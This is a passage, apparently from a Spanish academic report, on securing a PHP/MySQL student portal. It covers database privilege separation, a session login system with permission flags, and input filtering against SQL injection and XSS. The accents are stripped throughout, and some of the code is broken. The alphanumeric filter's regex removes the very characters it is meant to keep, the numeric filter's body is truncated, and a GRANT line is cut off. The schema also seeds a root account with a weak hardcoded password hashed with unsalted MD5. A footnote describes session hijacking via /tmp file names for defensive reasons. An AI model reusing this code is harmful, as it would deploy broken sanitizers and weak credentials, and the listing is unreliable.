Figura 4.1. Implementacin de la poltica de seguridad en MySQL.
No se ha incluido nada de lo relacionado con la base de datos de usuarios,

pues sta se estudiar con detalle en el apartado siguiente.
Pg. 88
3.1.4. Mejoras conseguidas.

La implementacin realizada, pese a ser aparentemente minscula, representa
una considerable mejora de la seguridad global del sistema. Podemos apreciar esta
mejora a dos niveles diferentes:
-
por un lado hemos conseguido aislar las bases de datos propias del portal,
de otras que pudieran existir en el servidor MySQL. Dicho de otra forma,
nuestra Aplicacin slo puede acceder a las bases de datos propias del
portal; ni siquiera tiene acceso a aspectos generales del servidor MySQL.
En caso de que la Aplicacin fuera comprometida, el mayor dao que
podra causar un atacante sera eliminar datos del portal, pero no afectara
a otras bases de datos que pudieran convivir con las nuestras, en el
servidor MySQL.
por otro lado, hemos aislado la parte ms crtica de la Aplicacin (la

herramienta de administracin) del resto. Los usuarios no administradores
del portal slo tendrn acceso a la zona no crtica, en la cual se hace uso
del usuario de MySQL con privilegios de slo lectura (csed). Si un
atacante de este tipo tuviera xito en un ataque de inyeccin de SQL lo
mximo que podra hacer es leer todas las bases de datos (del portal) pero
no podra modificarlas o borrarlas2.
3.2.
Sistema de usuarios y autentificacin.
Ha sido desarrollado desde cero, ya que la Aplicacin careca de esta

funcionalidad. El objetivo es poder identificar en todo momento a la persona que est
usando los servicios que el portal provee, pudiendo denegar o no el acceso a distintos
servicios, en virtud de los privilegios que el usuario posea.
Realmente tambin podr insertar nuevas encuestas en la base de datos correspondiente pero no le
ser posible modificar o borrar las que ya existieran.
Pg. 89
El hecho de tener al usuario totalmente controlado no slo mejora aspectos
tan importantes como la seguridad sino que adems favorece o estimula la creacin
de nuevos servicios orientados al alumno, en cuanto a que es posible discriminar la
informacin que el portal ofrece, segn
usuario. Gracias al nuevo sistema de
usuarios, resulta no slo tcnicamente viable sino adems muy simple la

implementacin de perfiles de usuario. El portal podr ofrecer, a partir de ahora,
informacin basada en el perfil del usuario final.
Adems, existen servicios que inherentemente necesitan identificar de alguna
forma al alumno. Este es el caso del servicio de encuesta, donde se pretende evitar
que un alumno dado pueda evaluar a un mismo profesor varias veces (se obtendran
resultados estadsticos no fidedignos), para lo cual la Aplicacin tiene que llevar la
cuenta de quin o quienes ha realizado ya la encuesta. Para casos como ste, y hasta
ahora, la Aplicacin resolva el problema manteniendo varias tablas de usuarios en
paralelo, una por cada uno de los servicios del portal donde fuese necesario el
manejo de usuarios. No se aseguraba as la integridad de las distintas tablas, en
absoluto, sino que eran tablas totalmente independientes. Como resultado se
producan incoherencias en los datos,
adems de incurrir en un fuerte coste
administrativo (es ms fcil mantener una nica tabla de usuarios que cinco; adems,
se produce un efecto acumulativo: si aadimos nuevos servicios al portal, el
problema se acenta).
3.2.2. Criterios de diseo.

Los siguientes criterios de diseo se encuentran ordenados de mayor a menor
peso:
-
Seguridad (el sistema debe ser seguro y robusto).
Flexibilidad (de forma que sea sencillo aadir nuevos atributos a los
usuarios en caso de querer implementar nuevos servicios, o que, por
Pg. 90
ejemplo, podamos nombrar fcilmente nuevos usuarios con privilegios de

administracin sobre el portal).
-
Rendimiento (el sistema deber estar optimizado para que el impacto del
nuevo cdigo en costes de tiempos de computacin y de acceso, sea
mnimo).
El sistema debe ser independiente de la plataforma web empleada y

funcionar perfectamente sin requerir privilegios extra en el servidor web
(esto ltimo podra suponer un notable impacto sobre la seguridad global
del servidor web).
Se intentar reutilizar, en la medida de lo posible, el cdigo actual de la

Aplicacin. Tambin se intentar minimizar el nmero de cambios
necesarios en la estructura de la base de datos (teniendo en cuenta que el
diseo original de la Aplicacin podra ser perfectamente calificado como
de bastante pobre, va a ser muy difcil cumplir con este criterio de diseo,
si bien no nos estorbar, ya que ocupa el lugar ms bajo en la lista de
prioridades).
3.2.3. Modelo propuesto.

El modelo propuesto (que es el que se ha implementado en el portal) conlleva
la modificacin de la casi totalidad del portal: habremos de realizar numerosos
cambios en la base de datos y modificar todos (o casi todos) los scripts PHP
asociados a los distintos servicios. No obstante, merecer la pena.
Dispondremos de una nica base de datos de usuarios (usuarios_csed),
donde sern almacenados todos los datos relacionados con usuarios (datos de las
distintas cuentas, privilegios y permisos, contraseas, etc.).
Tambin existir una pgina de autentificacin, donde se le pedir al usuario
que introduzca sus datos identificativos (nombre de usuario y contrasea). Esta
pgina se mostrar automticamente la primera vez que el usuario intente acceder a
Pg. 91
un servicio protegido bajo el modelo de autentificacin mencionado (en la prctica,

cualquier servicio). Una vez autentificados correctamente, no volver a mostrarse (a
no ser que forcemos el cierre de sesin de usuario), es decir, el proceso de
autentificacin slo ser llevado a cabo una vez por sesin.
Como las peticiones que se realizan a un servidor web son, en principio
(debido a la naturaleza y funcionamiento del protocolo WWW), independientes unas
de otras (lo que le confiere un carcter state-less sin estado) debemos establecer
un mecanismo que dote de cierta memoria al sistema, o lo que es lo mismo, se
pueda hablar de diferentes estados en la Aplicacin. Para ello, hemos hecho uso de
las sesiones. PHP provee esta funcionalidad de un modo sencillo, y permite tratar y
guardar ciertas variables como variables de sesin, de forma que estn disponibles
en sucesivas peticiones a diferentes scripts en PHP.
De este modo, cuando un usuario es autentificado correctamente, nuestra
Aplicacin crear una nueva sesin. Adems, leer toda la informacin de la base de
datos relativa al usuario en cuestin, y la guardar en variables de sesin, a
excepcin de la contrasea (la cual en principio no va a ser utilizada con
posterioridad durante la misma sesin y por tanto, se ha preferido, por seguridad, no
guardarla con los datos de sesin). En particular, la lista de privilegios de los que
goza el usuario se mantendr dentro de los datos de sesin.
Cuando el usuario acceda a un servicio que requiere privilegios, lo primero
que comprueba la Aplicacin es si existe una sesin de usuario creada. Si no es as,
se llevar a cabo el proceso de autentificacin antes explicado. En caso afirmativo
(existe la sesin), la Aplicacin consulta la lista de privilegios de las variables de
sesin y comprueba si el usuario tiene activo el permiso o privilegio requerido. Si as
es, se le permitir a ese usuario el acceso al servicio. En caso contrario, se le
denegar, con el mensaje de error pertinente (no tiene privilegios), y adems se le
dar la opcin de autentificarse de nuevo, de manera que pueda cambiar de cuenta,
Pg. 92
pensando en la posibilidad de que esta nueva cuenta s pueda contar con los
privilegios necesarios para acceder al servicio en cuestin.
Existen varios problemas (a los que pondremos solucin).
3.2.4. El problema de la integridad de la autentificacin en el transcurso de

la sesin.
El primero es cmo garantizar la integridad de este chequeo de seguridad, es
decir, teniendo en cuenta que un servicio se encuentra implementado mediante varios
scripts en PHP y que la autentificacin se realiza en la entrada al servicio (en el
script que da acceso al servicio), cmo nos aseguramos de que un atacante no podr
usar otra puerta al servicio que no sea la prevista por nosotros? Segn esto, podra
pensarse que un atacante que conociera la ubicacin de, digamos, un tercer script de
PHP asociado al servicio, estara en condiciones de realizar peticiones sobre dicho
script, saltndose la fase de autentificacin que, podramos pensar, se encuentra slo
en el primer script (o script de entrada al servicio). Si nuestra implementacin
permitiera un ataque similar, sera signo de que est mal hecha.
Presentaremos y discutiremos a continuacin tres aproximaciones que
resuelven el problema. Una de ellas es la que se ha decidido adoptar. Justificaremos
la eleccin.
3.2.4.1.
Autentificacin basada en Apache.
El software Apache provee de mecanismos de autentificacin (mediante la

definicin de ficheros .htaccess) que posibilitan la fcil y rpida implantacin de
polticas de seguridad de acceso al contenido web albergado. La finalidad ms
comn es proteger directorios (y subdirectorios que cuelguen del primero) aunque
Pg. 93
existen otras posibilidades. De esta forma, podramos ubicar los distintos servicios en
directorios separados, y aplicar distintas polticas de seguridad a cada directorio.
Sin embargo, estamos rompiendo con uno de nuestros criterios de diseo:
aquel que garantizaba la independencia del sistema de autentificacin con el servidor
web subyacente. Nuestro sistema de autentificacin slo funcionara en Apache.
Adems, esta primera aproximacin implicara que el Administrador del
servidor web nos debera dar acceso a ciertas configuraciones de Apache e incluso
permitir modificar en tiempo real ficheros que afectarn a dicha configuracin (por
ejemplo, el que debiera contener nombres de usuario y contraseas, de acceso a los
distintos servicios). Esto acarreara efectos indeseados que pudieren atentar contra
los ms elementales principios de la seguridad.
Por ltimo, tampoco est claro cmo se llevaran a cabo las actualizaciones de
usuarios (alta o baja de cuentas, cambios, ). En principio, Apache slo maneja
ficheros, luego estos datos deberan encontrarse en ficheros. Qu ocurrira si dos
administradores legtimos del portal intentan realizar alguna operacin sobre el
fichero de usuarios al mismo tiempo? Las consecuencias seran impredecibles,
pudiendo llegar incluso a la destruccin del fichero de usuarios o a distintas
incoherencias. Son problemas tpicos que se resuelven mediante el uso de un servidor
de bases de datos como MySQL, as qu, por qu no integrar Apache con un acceso
a bases de datos basado en MySQL?
3.2.4.2.
Autentificacin basada en Apache con el mdulo de acceso a MySQL.
La respuesta a la anterior pregunta la tenemos en este apartado. Existe un

mdulo para Apache que permite autentificar usuarios que se encuentran registrados
en una base de datos MySQL. Esta aproximacin resuelve algunos de los problemas
comentados anteriormente. Por ejemplo, ahora se hace fcil la gestin de usuarios, ya
Pg. 94
que simplemente habremos de realizar accesos al servidor MySQL desde la

herramienta de administracin de nuestra Aplicacin. El servidor de bases de datos
resolver de forma transparente cualquier problema de colisin (varios usuarios
intentando acceder a un mismo recurso) que pudiera surgir como resultado de
intentar modificar datos de usuario.
De todo esto, concluimos algo que resulta evidente: la informacin de
autentificacin deber estar guardada en una base de datos. Este requisito ser
imprescindible para asegurar la flexibilidad del sistema.
Sin embargo, y prosiguiendo con el anlisis de esta segunda aproximacin, no
resultan satisfechos todos los criterios de diseo que nos auto-impusimos al
comienzo del captulo. Una vez ms, la implementacin resultante de esta
aproximacin desembocara en una dependencia total del software Apache, y aparte
requerira un esfuerzo extra por parte del Administrador del servidor, en cuanto a
configuracin se refiere, que no todos estaran dispuestos a admitir.
A favor de esta opcin tenemos, no obstante, importantes argumentos, como
la facilidad extrema de esta implantacin, de cara al programador de la Aplicacin
(la mayora de los aspectos los resuelve ya el software Apache por s mismo, lo que
nos supondra un ahorro considerable de cdigo) y la generalidad de esta solucin (al
trabajar con directorios, podremos proteger cualquier tipo de fichero incluidos
ficheros binarios imgenes gif, archivos .pdf, .doc, slo por nombrar algunos o
cualquier otro fichero esttico como los .html).
En contra de esta aproximacin, simplemente decir que tampoco tenemos
demasiado claro si esta solucin sera compatible con el sistema de privilegios que
vamos a implementar. En principio, utilizando el mdulo de MySQL podramos
tener usuarios y contraseas en una base de datos, que se utilizaran para dar acceso a
un directorio (que sera equivalente a un servicio), pero habra que disponer de una
Pg. 95
segunda base de datos de usuarios para dar cabida a un segundo directorio o

servicio? Si hay N servicios, necesitaremos mantener N bases de datos de usuarios
en paralelo, una por cada servicio? En principio parece que s, y si esto es as podra
suponer una importante traba, puesto que lo que se persigue es tener una nica base
de datos de usuarios para todos los servicios.
En realidad, la pregunta anterior la dejamos sin contestar porque no
indagamos ms all, ya que esta aproximacin se descart debido a otras razones que
tambin han sido comentadas (principalmente, rompe con el criterio de diseo de
independencia del servidor web, como ya adelantamos).
3.2.4.3.
Autentificacin basada nicamente en cdigo PHP.
Este mtodo presenta la ventaja de que es totalmente independiente del

software servidor web subyacente. El programador tendr va libre para usar
cualquier recurso PHP que estime conveniente y podr realizar un diseo a
medida.
Como contrapartida, requeriremos un mayor esfuerzo a la hora de realizar la
implementacin, porque todo, absolutamente todo el sistema de autentificacin, lo
tendremos que elaborar nosotros (en los anteriores casos la mayora de las cosas
venan ya hechas).
Para que este mtodo sea seguro, es necesario realizar comprobaciones en
cada uno de los scripts PHP que conforman un servicio (no basta con chequear el
primero slo, esto ya se coment con anterioridad). Lo que se propone es crear un
cierto cdigo PHP comn (que colocaremos en una funcin), que se encargar de
hacer el chequeo de privilegios, el cual ser ejecutado en cada uno de los scripts PHP
(mediante la llamada a dicha funcin) que conforman un servicio. Este cdigo es lo
suficientemente inteligente cmo para saber qu hacer ante determinados casos:
Pg. 96
primero comprueba si existe sesin de usuario; en caso de no existir, se

nos presentar la pgina de autentificacin, en la que se nos pedir nuestro
nombre de usuario y contrasea.
si exista una sesin previa, se leer la lista de privilegios de las variables

de sesin y se comprobar si el usuario debe o no tener acceso al servicio,
obrando en consecuencia.
El principal punto dbil de este mtodo es que slo es vlido para proteger
archivos con extensin .php, ya que la proteccin se incluye en cdigo dentro del
propio archivo. La solucin no valdra para proteger contenido esttico (en este caso,
habra que recurrir a la segunda aproximacin: la que usa Apache y el mdulo de
acceso a MySQL).
Sin embargo, la limitacin anterior no nos afecta, ya que la totalidad de los
servicios que tenemos planificado proteger estn implementados en PHP.
Hay una excepcin: la documentacin en PDF de la asignatura correspondiente al portal tambin ha sido protegida. Cmo es posible esto, sabiendo que son
archivos estticos (con extensin .pdf)?
La solucin para el caso excepcional anterior ha involucrado la creacin de
un nuevo script, que acta de wrapper o intermediario en la entrega de los ficheros
PDF que podrn ser descargados. La idea se resume en los siguientes puntos:
Los archivos PDF (u otros que se deseen proteger) se han reubicado

en un nuevo directorio, y se ha configurado Apache para que deniegue
todo acceso externo a dicho directorio (y su contenido). De esta
forma, Apache no servir estos ficheros directamente.
Pg. 97
El script PHP que acta de wrapper s tiene acceso a dichos ficheros,

ya que sern ledos directamente del sistema de ficheros del disco
duro (las restricciones de Apache impuestas en el punto anterior no le
afectan).
El usuario realizar la peticin de descarga a dicho script PHP, y ste

ltimo ser el encargado de servirle el fichero, tras comprobar que el
usuario goza de los permisos pertinentes.
Teniendo en cuenta todo lo dicho en este apartado, y como el lector ya habr

podido adivinar, esta tercera aproximacin es la que se ha adoptado como solucin al
problema original de la integridad de la autentificacin, ya que a pesar de la
laboriosidad, nos parece la que ms se ajusta a nuestras necesidades.
3.2.5. El problema de la cach de datos de usuario.

Un segundo problema (de carcter leve) tiene que ver con el cach de
permisos que hemos implementado. Qu ocurrira si, en mitad de una sesin de
usuario, la base de datos que almacena todas las caractersticas del usuario
(contrasea, privilegios, etc.) es alterada? Esto es perfectamente posible, si una labor
administrativa sobre el portal est siendo llevada a cabo desde otro terminal
(recordemos que el portal es multiusuario). La respuesta es simple: la sesin de
usuario continuara tal cual con los privilegios originales del mismo, ya que stos se
encuentran cacheados en las variables de sesin. Slo cuando el usuario inicie una
nueva sesin, los nuevos privilegios sern vigentes (ya que se producir un nuevo
cacheado de la informacin de usuario en las variables de sesin). Conclusin:
cualquier modificacin realizada sobre la base de datos de usuarios no se ver
inmediatamente reflejada en sesiones de usuario ya activas (i.e. que se iniciaron
antes de que se produjera dicho cambio) pero s en sucesivas sesiones (iniciadas
una vez producidos los cambios).
Pg. 98
Si analizamos con detenimiento este segundo problema podemos ver que en

realidad este hecho no tiene demasiada importancia ya que, en primer lugar, es
bastante improbable que ocurra, y en segundo lugar, en caso de ocurrir, realmente la
incoherencia entre los datos de usuario almacenados en la base de datos y aquellos
vigentes en los datos de sesin durar poco tiempo (esta ventana de tiempo se limita
a la duracin de la sesin de usuario: cuando el usuario cierre la sesin o
simplemente cierre el navegador, la sesin habr desaparecido y con ella, la ventana
de tiempo de incoherencia).
No obstante, tambin se ha tenido en cuenta la posibilidad de realizar alguna
operacin de actualizacin crtica, donde sea necesario llevar a cabo una
modificacin masiva (lo cual aumentara la probabilidad de que el problema
comentado surgiera) o simplemente se necesite que los cambios surtan efecto
inmediatamente. Para ello, existe una solucin simple, que consiste en forzar la
eliminacin de todas las sesiones activas. Este procedimiento slo lo podr llevar a
cabo el Administrador del servidor, y consiste en borrar todos los ficheros de sesin
existentes en el servidor web. stos son almacenados normalmente en el directorio
/tmp3 del servidor, aunque esta ubicacin se puede cambiar desde el fichero de
configuracin php.ini (con la opcin session.save_path), y tienen la forma
sess_ seguido del identificador de sesin. Ejemplo:
sess_7facda9b1bd4bd75a448ae684bc59344
Un usuario con shell en la mquina tendr acceso al directorio /tmp. Aunque no podr leer ni
modificar el contenido de los diferentes ficheros de sesin (ya que stos tendrn permisos UNIX
restrictivos, como 600), s estar visualizando los nombres de los archivos de sesin, o lo que es lo
mismo, podr obtener identificadores de sesin vlidos. Podra entonces iniciar una conexin web al
portal, falsear su cookie (cambiar el identificador de sesin actual por uno de los que acaba de
obtener) y suplantar a cualquiera de los usuarios que se encontraran conectados en ese momento. Por
esta razn, recomendamos no utilizar /tmp como directorio de temporal, sino otro directorio escogido
al efecto, y cuyos permisos de lectura sean ms restrictivos.
Pg. 99
Una vez borrados este tipo de ficheros, las sesiones activas dejan de tener
validez y los usuarios que se encontraran trabajando debern iniciar una nueva
sesin. En realidad, este procedimiento rara vez (por no decir nunca) ser realmente
necesario.
Es esto un error de diseo? Por qu se ha implementado as? No, no es un
error de diseo sino una solucin de compromiso entre seguridad y rendimiento,
adoptada tras analizar y sopesar los pros y los contras de usar o no cach. El uso de
la cach optimiza el rendimiento. Finalmente, hemos llegado a la conclusin de que
la ganancia en trminos de rendimiento supera con creces, en este caso, a los
pequeos problemas derivados de la existencia de cach (y que en ltima instancia,
hemos visto que, adems, tienen solucin), por lo que se ha decidido no prescindir de
ella.
Imaginemos por un momento que no se hubiera implementado esta cach: el
problema que estamos discutiendo habra quedado zanjado; sin embargo, cualquier
comprobacin de privilegios (y como vimos en el punto anterior, sta se hace en cada
script de PHP perteneciente a un servicio protegido, y no slo en el de entrada al
mismo) conllevara un acceso al servidor MySQL, lo cual implicara que la carga de
todo el sistema aumenta (se generara trfico de red adicional en caso de que el
servidor MySQL no sea local y en todo caso, se producira un retardo debido al
acceso al servidor MySQL ya sea en local o en remoto).
3.2.6. El sistema de privilegios.

Asociado a cada usuario existen una serie de flags que representan los
privilegios de los que un usuario goza en el sistema. Si un flag est activo, quiere
decir que se le concede al usuario el privilegio por l representado.
Pg. 100
Existen actualmente 22 flags o privilegios de usuario, que regulan el acceso a

determinados servicios u operaciones. Son los siguientes:
admin_tool: permite acceso al men general de administracin.
chpass: el usuario podr cambiar su contrasea.
cuestionario_r: permite acceso (slo lectura) al servicio "cuestionario" (test de

autoevaluacin).
cuestionario_w: permite administrar (aadir, editar, borrar, etc.) el servicio

"cuestionario".
download:
ownload: permite bajarse documentacin PDF de la asignatura.
dudas_r: permite acceso al servicio "dudas".
dudas_w: permite administrar el servicio "dudas".
encuesta1: indica si el usuario ha rellenado ya la encuesta para el profesor

identificado como 1.
encuesta2: idem para el profesor 2.
encuesta3: idem para el profesor 3.
encuesta_r: permite acceso al servicio "encuesta".
encuesta_w:
encuesta_w: permite administrar el servicio "encuesta".
monitores_r: permite acceso al servicio "monitores".
monitores_w: permite administrar el servicio "monitores".
notas_r: permite acceso al servicio "notas".
notas_w: permite administrar el servicio "notas".
noticias_r: permite acceso al servicio "noticias".
noticias_w: permite administrar el servicio "noticias".
usuarios_add: permite aadir usuarios.
usuarios_del: permite borrar usuarios.
usuarios_edit: permite editar/modificar datos de usuario.
usuarios_list: permite listar usuarios.
Pg. 101
El sistema est pensado para que sea extremadamente flexible y contempla la

posibilidad de aadir nuevos permisos o privilegios de una forma sencilla y rpida
(tan fcil como aadir una nueva columna a la tabla de permisos, en la base de
datos de usuarios). La herramienta de administracin automticamente reconocer el
nuevo flag aadido. Ms fcil imposible.
Aunque en el listado de permisos que hemos proporcionado se explica
resumidamente la funcin de cada uno de ellos, vamos a explicar con detalle su
funcionamiento y algunos convenios que se han utilizado para su nomenclatura.
Para empezar, habremos notado que numerosos permisos terminan con _r o
_w. Esto hace alusin al tipo de acceso que provee: lectura o escritura,
respectivamente. Normalmente el permiso correspondiente de escritura slo ser
asignado al administrador o administradores del portal. Por ejemplo, para el servicio
de noticias disponemos de dos permisos: noticias_r y noticias_w. El primero
de ellos dar acceso a los alumnos a dicho servicio, mientras que el segundo dar
acceso a la parte de la herramienta de administracin encargada de aadir nuevas
noticias, borrarlas o editarlas. As pues, lo normal ser que los alumnos o usuarios
de a pi tengan activado el flag noticias_r pero no el de noticias_w, mientras
que un administrador normalmente tendr activados ambos. Un usuario que no tenga
activo el primer flag no tendr acceso al servicio de tabln de noticias del portal. A
estas alturas, no creemos que haga falta decir que la palabra que va antes del _r (o
_w) se refiere al servicio o operacin sobre el que actuar el flag.
Existen tambin otros privilegios con una nomenclatura un tanto especial. Por
ejemplo, vemos que hay cuatro permisos que dan acceso a la herramienta de
administracin de usuarios, y le confieren privilegios para aadir, borrar, listar o
editar informacin de usuario. Esto posibilita que existan Administradores del portal,
con diferentes grados de privilegio (de esta forma, podemos nombrar a una persona
Pg. 102
que se encargue de aadir usuarios, pero que no puede borrar a los ya existentes,
etc.).
Ntese tambin que hay tres flags marcados como encuestaX, donde X es
un nmero que identifica a un profesor. Si por ejemplo un usuario tiene activo el flag
encuesta2 quiere decir que ya ha evaluado correctamente al profesor 2 mediante el
servicio de encuesta, y que por tanto, no podr rellenar otra encuesta para dicho
profesor. Esto soluciona uno de los problemas que tenamos pendientes del captulo
anterior: antes se usaban tres ficheros de texto, donde se iban agregando los nombres
de los usuarios que ya haban rellenado la encuesta correspondiente a cada profesor.
Esto no era eficiente (es ms acarreaba problemas de seguridad, como ya vimos),
mientras que la solucin que hemos implementado mediante el uso de flags, s que lo
es.
El permiso admin_tool controla si el usuario tendr acceso al men de
administracin. Es importante recalcar que esto no quiere decir que vaya a poder
realizar tareas administrativas. Para que esto ltimo sea posible el usuario deber
tener activados los flags de administracin (normalmente aquellos acabados en
_w) correspondientes a los servicios que desee administrar.
Por ltimo, el permiso chpass controla si se le permitir al usuario cambiar
su contrasea o no. Normalmente este flag estar siempre activado, para dar mayor
flexibilidad al usuario, aunque esto implique que dicho usuario se ha de hacer
responsable de la fortaleza de la nueva contrasea instaurada. En caso de polticas de
seguridad muy severas, donde es vital que las contraseas sean muy seguras, es
buena idea deshabilitar este flag (de esta forma, el usuario permanecer con su clave
inicial, la cual ser generada por la Aplicacin y, por construccin, ser muy segura).
Como se puede apreciar, el sistema de privilegios es altamente granular y da
cabida a un gran abanico de posibilidades: podremos nombrar a una o varias
Pg. 103
personas que tendrn privilegios para modificar el tabln de noticias, otras podrn
insertar dudas en el tabln de dudas, otras podrn administrar los usuarios del
portal (a distintos niveles) y finalmente podrn existir usuarios que combinarn cada
uno de los privilegios posibles, pudiendo hacerse cualquier mezcla, por rara que
parezca.
3.2.7.1.
Especificaciones de la base de datos.
El sistema de usuarios implantado consta de una base de datos, en nuestro

caso llamada usuarios_csed (esta nomenclatura hace referencia al nombre del
portal: CSED; de igual forma, existir otra base de datos llamada usuarios_lie,
correspondiente al portal LIE, aunque omitiremos los datos de este segundo portal,
por no aportar nada nuevo a esta documentacin y considerarse redundante).
El fichero MySQL que resume la estructura de la base de datos es el siguiente:
Pg. 104
USE usuarios_csed;
CREATE TABLE cuentas (user char(16) primary key not null,
pass char(32) not null, realname varchar(50), modificado timestamp);
CREATE TABLE permisos (user char(16) primary key not null,
usuarios_list bool not null default 0, usuarios_edit bool not null
default 0, usuarios_del bool not null default 0, usuarios_add bool
not null default 0, download bool not null default 0, dudas_r bool
not null default 0, dudas_w bool not null default 0, encuesta_r bool
not null default 0, encuesta_w bool not null default 0, encuesta1
bool
not
null
default
0,
encuesta2
bool
not
null
default
0,
encuesta3 bool not null default 0, notas_r bool not null default 0,
notas_w bool not null default 0, noticias_r bool not null default 0,
noticias_w bool not null default 0, cuestionario_r bool not null
default 0, cuestionario_w bool not null default 0, monitores_r bool
not null default 0, monitores_w bool not null default 0, admin_tool
bool not null default 0, chpass bool not null default 0);
grant select, insert, update, delete on usuarios_csed.* to
grant select on usuarios_csed.* to csed@localhost ;
grant
update
(encuesta1,
encuesta2,
encuesta3)
on
usuarios_csed.permisos to csed@localhost ;
insert
into
cuentas
values
('root',
md5('j0nj0n'),
'Administrador', NULL);
insert into permisos values ('root', 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1);
Figura 4.2. Estructura de la base de datos de usuarios.
Como es natural, antes de utilizar el fichero anterior deberemos haber creado

la base de datos vaca (mediante: mysqladmin -u root -p create usuarios_csed) y
haber definido los usuarios csed y csed_admin del servidor MySQL.
El fichero consta de tres partes. En la primera se definen las dos tablas que
albergarn los datos de usuario: cuentas y permisos. En la segunda se asignan los
privilegios correspondientes segn la poltica de seguridad de usuarios MySQL ya
vista con anterioridad. Por ltimo, creamos la cuenta de Administracin por
excelencia: el superusuario o root, el cual tendr todos los flags de acceso o
Pg. 105
permisos activos, como es lgico. Utilizando dicha cuenta tendremos acceso a la

herramienta de administracin de usuarios y podremos crear desde all nuevos
usuarios, asignarle los privilegios que deseemos y en definitiva, no ser necesario
utilizar de nuevo la utilidad mysql (interfaz de administracin) del paquete
MySQL, la cual entendemos, opera a un nivel ms bajo que la propia Aplicacin que
define nuestro portal.
La tabla cuentas mantendr los datos bsicos de usuario (nombre de usuario,
nombre real y contrasea), adems de un timestamp (fecha y hora) con la ltima
modificacin. De esta forma, podremos saber cundo fue creado un usuario o
modificado sus datos por ltima vez, lo cual puede resultar til a efectos
administrativos.
En la tabla permisos se guardarn los flags asociados a los distintos
usuarios, y que definirn el sistema de privilegios, tal y como vimos en su momento.
Ambas tablas se encuentran indexadas por nombre de usuario, ya que ste ser
nico y es por tanto idneo para realizar este papel.
3.2.7.2.
Especificaciones y notas referentes al cdigo implementado.
La seguridad de nuestro sistema de autentificacin se basa en un chequeo que

hacemos al comienzo de todos y cada uno de los scripts PHP que componen un
determinado servicio.
Ilustraremos este concepto estudiando el script noticias.php, correspondiente al servicio de noticias del portal. La figura 4.3 muestra el comienzo de dicho
archivo. En ella podemos apreciar la llamada a la funcin check_privs, que ser la
encargada de la autentificacin. El parmetro que le pasamos (noticias_r) se
corresponde con el permiso a chequear. Esto significa que el script noticias.php
Pg. 106
requerir que el usuario que lo est ejecutando tenga activado el flag noticias_r; si
no es as, el chequeo resultar fallido y el script no continuar.
<?php
require('../config/config.php');
check_privs('noticias_r');
?>
Figura 4.3. Inicio del fichero noticias.php.
La funcin check_privs y otras que tambin son usadas con frecuencia

desde diferentes scripts PHP, estn incluidas en el fichero (script) config.php, el
cual acta a modo de librera. Esta librera contiene, adems, datos de configuracin
del portal, como el nombre del mismo, nombres de las bases de datos asociadas, y las
claves y usuarios para el acceso al servidor MySQL, entre otros.
De esta forma, la gestin del portal est totalmente centralizada (una pequea
parte se har en el fichero config.php la que se supone no va a cambiar a lo largo
de la vida del portal o si lo hace, ser de forma infrecuente, y el resto o mayor parte
se har desde la herramienta de administracin) y se facilita la migracin o clonacin
de un portal.
3.3.
Protecciones contra SQL-inject y Cross Site Scripting.
Trataremos ambos problemas de forma conjunta puesto que su naturaleza es
similar. No dejan de ser fallos causados por una insuficiencia en el chequeo de
entrada de datos de usuario, y la solucin en ambos casos es la misma: filtrar
caracteres maliciosos.
Pg. 107
Dado que son problemas que afectan a la seguridad, deben ser resueltos sin
contemplaciones.
Se han propuesto varias soluciones al respecto. Como ya hemos adelantado,
todas se basan en filtrar los caracteres peligrosos de la entrada de usuario. Tambin
todas ellas se basan en la poltica de seguridad ms segura: la denegacin por
defecto. Es decir, no recorremos los variables de entrada en busca de caracteres
maliciosos, para luego eliminarlos, sino que simplemente recogeremos todos los
caracteres que sabemos con certeza que no son peligrosos (por ejemplo, los
alfanumricos) y descartaremos todos los dems. De esta forma, no es posible que
se nos olvide filtrar algn carcter malicioso (como podra ocurrir de hacerlo segn
el primer mtodo); en todo caso, se nos podra olvidar permitir un carcter que no
lo es, lo cual no sera especialmente problemtico (al menos no constituir problema
de seguridad alguno).
Las diferencias entre las soluciones que vamos a proponer estriban en la forma
de aplicar esos filtros y tambin en la implementacin de los filtros en s.
3.3.2.1.
Tcnica basada en regexp4.
Consiste en una serie de funciones de filtrado, definidas en el fichero

config.php, y que sern llamadas siempre y cada una de las veces que una variable
necesite ser limpiada (es decir, se desee eliminar los posibles caracteres maliciosos
que pueda contener). La figura 4.4 muestra dichas funciones.
Regexp: expresin regular (del ingls, regular expression).
Pg. 108
/* Filtra todos los caracteres excepto los alfanumricos y

el "_" */
function filtro_alfanumerico(&$var) {
$sinfiltrar = $var;
$var = preg_replace("/[Â-Za-z0-9_]/", "", $var);
if ($sinfiltrar == $var) {
return 0; // Devuelve FALSE si no se filtr nada
} else {
return 1; // Devuelve TRUE si se filtraron caracteres
}
}
/* Filtra todos los caracteres excepto los numricos */
function filtro_numerico(&$var) {
$sinfiltrar = $var;
$var = preg_replace("/[^0-9]/", "", $var);
} else {
}
}
Figura 4.4. Funciones que implementan el filtrado.
Tal y como es posible apreciar tenemos dos filtros: uno que slo deja pasar
caracteres alfanumricos5, y otro que filtra todo excepto los caracteres numricos.
Supongamos que tenemos ahora una variable que, por su naturaleza, sabemos
que va a ser siempre numrica (por ejemplo, un identificador usado en una tabla de la
base de datos, llammosle id). Asumamos tambin que dicho identificador se pasa
a un script dado, el cual lo usar para construir una sentencia SQL de consulta a la
base de datos. Podramos tener un caso tpico, en el que un atacante intentar
modificar el valor de la variable $id para, por ejemplo, intentar inyectar cdigo SQL.
Cmo nos protegeramos de esto usando la tcnica propuesta?
Bien, simplemente tendramos que incluir en el script PHP, antes de construir
la sentencia SQL, una lnea de cdigo como sta:
5
En este caso, tambin se permite el carcter _.
Pg. 109
filtro_numerico ($id);
As de simple. La funcin recibir la variable $id (mediante paso de
parmetros por referencia, en este caso), la limpiar asegurndose de que slo
queden dgitos, y la guardar de nuevo. Como resultado, hemos podido filtrar
cualquier carcter malicioso que el atacante hubiese podido introducir.
La solucin implementada es muy segura (quizs la ms segura que se nos
pueda ocurrir), pero tiene dos inconvenientes. El primero es que nos obliga a
repasar todo el cdigo de la Aplicacin, en busca de variables potencialmente
peligrosas; esto es bastante tedioso. El segundo y ltimo es que quizs estos dos
filtros genricos no nos valgan (imaginemos el caso de una variable que pueda
contener dgitos, letras y algunos signos de puntuacin). En este caso, y dependiendo
de los caracteres que deseemos sean vlidos, quizs sea posible disear un nuevo
filtro, de una forma rpida, con tan slo copiar y pegar cdigo de alguno de los filtros
